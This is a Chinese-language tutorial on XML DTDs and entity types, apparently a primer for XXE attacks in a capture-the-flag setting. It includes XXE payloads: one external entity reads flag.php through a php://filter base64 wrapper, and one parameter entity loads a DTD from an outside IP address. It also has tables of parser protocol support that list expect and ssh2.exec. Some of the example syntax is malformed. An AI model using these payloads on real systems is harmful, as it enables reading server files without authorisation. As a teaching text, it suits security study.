0x01:DTD 介绍
DTD:(Document Type Definition 即文档类型定义)的作用是定义 XML 文档的合法构建模块。用来为XML文档定义语义约束。DTD可以嵌入在XML文档中(内部声明) ,也可以外部引用。也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
DTD 分为两类:
(1)内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to ,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to> Tove</to>
<from> avenue</from>
<heading> Reminder</heading>
<body>Don't forget me this weekend </body>
</note>
(2)引用外部DTD
!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "DTD名称" “DTD文件的URL”>
外部文档声明: 假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE定义中:
即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
DTD 数据类型:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
- PCDATA: 被解析的字符数据(parsed character data)。PCDATA是会被解析的文本,这些文本会被解析器检查实体以及标记。
- CDATA: 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
0x02 DTD的实体(Entity)
XML预定义的实体引用
实体 | 代表的标签 |
---|---|
< | < |
> | > |
" | “ |
' | ‘ |
& | & |
(1)实体介绍:
在XML中某些单独字符 如 引号“ ‘ & 和尖括号 都是不允许直接出现在XML文档中的 因为XML解析的时候会分辨不清这种输入到底是数值还是标签。
实体 Entity 是一种简单的存储单元 就好比xml变量一样 可以对它进行赋值 ,并在xml文档中不同的地方对它引用。实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。
实体例子:
<?xml version=’1.0’?> xml的一个版本信息
<!DOCTYPE Person [
<!ENTITY name “John”> ] ===>DTD(Document Type definition)
]> ]
这里通过DTD方式创建了一个ENTITY,实际上也是告知XML解析器这是一个DTD
定义类型,为了避免标签反复赋值,定义到了名为name的ENTITY中去,这在
XML文档对该值的多处调用过程中会相对节省时间,提高效率
<Person>
<Name>&name;</Name>
<Age>20</Age>
</Person>
(2) DTD的实体类别介绍:
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可以在内部或外部进行声明。
① 内部实体:
<!ENTITY 实体名称 "实体的值">
示例:
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->
② 外部实体
<!ENTITY 实体名称 SYSTEM "URL">
示例:
<!DOCTYPE note> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
③ 参数实体
<!ENTITY %实体名称 "值"> or <!ENTITY %实体名称 SYSTEM "URL">
示例:
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<note>&b1</note>
<!-- awsl -->
参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
④ 外部参数实体
<!DOCTYPE note> [
<!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
%d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
http://47.106.143.26/xml.dtd
<!-- http://47.106.143.26/xml.dtd -->
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
0x03 XML中的协议支持
同语言的协议支持
libxml2 | PHP | Java | NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
PHP支持的扩展协议
扩展协议 | 需要扩展 |
---|---|
https | openssl |
ftps | |
zip | zip |
ssh2.shell | ssh2 |
ssh2.exec | |
ssh2.tunnel | |
ssh2.sftp | |
ssh2.scp | |
rar | rar |
ogg | oggvorbis |
expect | expect |